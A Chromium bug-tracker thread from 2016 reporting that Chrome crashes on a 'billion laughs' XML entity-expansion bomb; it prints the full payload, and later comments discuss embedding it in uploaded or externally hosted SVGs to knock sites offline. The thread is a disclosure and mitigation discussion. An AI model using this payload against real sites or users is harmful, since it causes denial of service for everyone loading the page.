New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 617891 link

Starred by 7 users

Issue metadata

Status: WontFix
Owner: ----
Closed: Jun 2016
Cc:
EstimatedDays: ----
NextAction: ----
OS: ----
Pri: ----
Type: Bug-Security



Sign in to add a comment

Security: when navigating to XML file, containing XMLBOMB, chrom tab crashes.

Reported by eli...@gmail.com, Jun 7 2016

Issue description

VULNERABILITY DETAILS
Chrome 51 crashes when loading xml bomb. seems that loading the xml leads to excessive memory consumption and then it crashes. I was able to measure 250 MB for this tab before a crash 

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

VERSION
Chrome Version: Version 51.0.2704.79 m
Operating System: Windows 7 ent 64 fully patched

REPRODUCTION CASE
go to http://eliuha.com/exp/xmlbomb.xml

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: tab
Crash State: currently unavailable 
Client ID (if relevant): d4110a8600000000 (638cb965-5747-4e96-bde8-34c40d20cf8e)

 
Labels: -Restrict-View-SecurityTeam
Status: WontFix (was: Unconfirmed)
This is one of several variant of the Billion Laughs bomb.  Crashing is a reasonable thing to do when it runs out of memory. Similar discussion:  http://crbug.com/536642 

Comment 2 by pdr@chromium.org, Sep 13 2016

 Issue 646173  has been merged into this issue.

Comment 3 by pdr@chromium.org, Sep 13 2016

Cc: dominicc@chromium.org ssamanoori@chromium.org brajkumar@chromium.org scottmg@chromium.org
 Issue 536642  has been merged into this issue.
Project Member

Comment 4 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 5 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic

Comment 7 by pdr@chromium.org, Oct 28 2016

Cc: pdr@chromium.org
 Issue 231562  has been merged into this issue.
When combined with SVGs doesn't this become a serious issue enabling client side DOS attack? I can upload a malicious SVG with the billion-laughs payload to a website (like online forums or such) and the site becomes unusable for everyone else?

I tried this on Firefox and Edge and they seem to have entity expansion limits where as Chrome does not..

Comment 9 by pdr@chromium.org, Jun 9 2017

This case may not lock Safari but it is trivial to make a similar svg file that does. There are other issues with accepting user-uploaded svg files. Unfortunately I think these sorts of issues have to be mitigated by sanitizing user-uploaded svg files.
It's not just user-uploaded files you would have to guard against though. Any website where a user can insert an image to an externally hosted image would be vulnerable. There's no way to reliably sanitize an externally hosted image.

Comment 11 by pdr@chromium.org, Jun 11 2017

That is correct. A similar issue is present with an svg image of many elements and this affects all browsers: http://output.jsbin.com/siraqej/quiet/

It's tough to balance letting legitimate users use all of their resources and preventing malicious users. For example, an appropriate maximum node count limit might be 1k for facebook, 100k for github, and 100M for a science/research website. I wouldn't be against better UX in the out-of-memory case, but in general I think have to leave this issue to site authors or we'll prevent legitimate usecases.
Interesting.. so there's really no "good" way for site authors to handle this other than (1) Do not allow upload of SVG files and (2) Do not allow referencing images from external hosts

Sign in to add a comment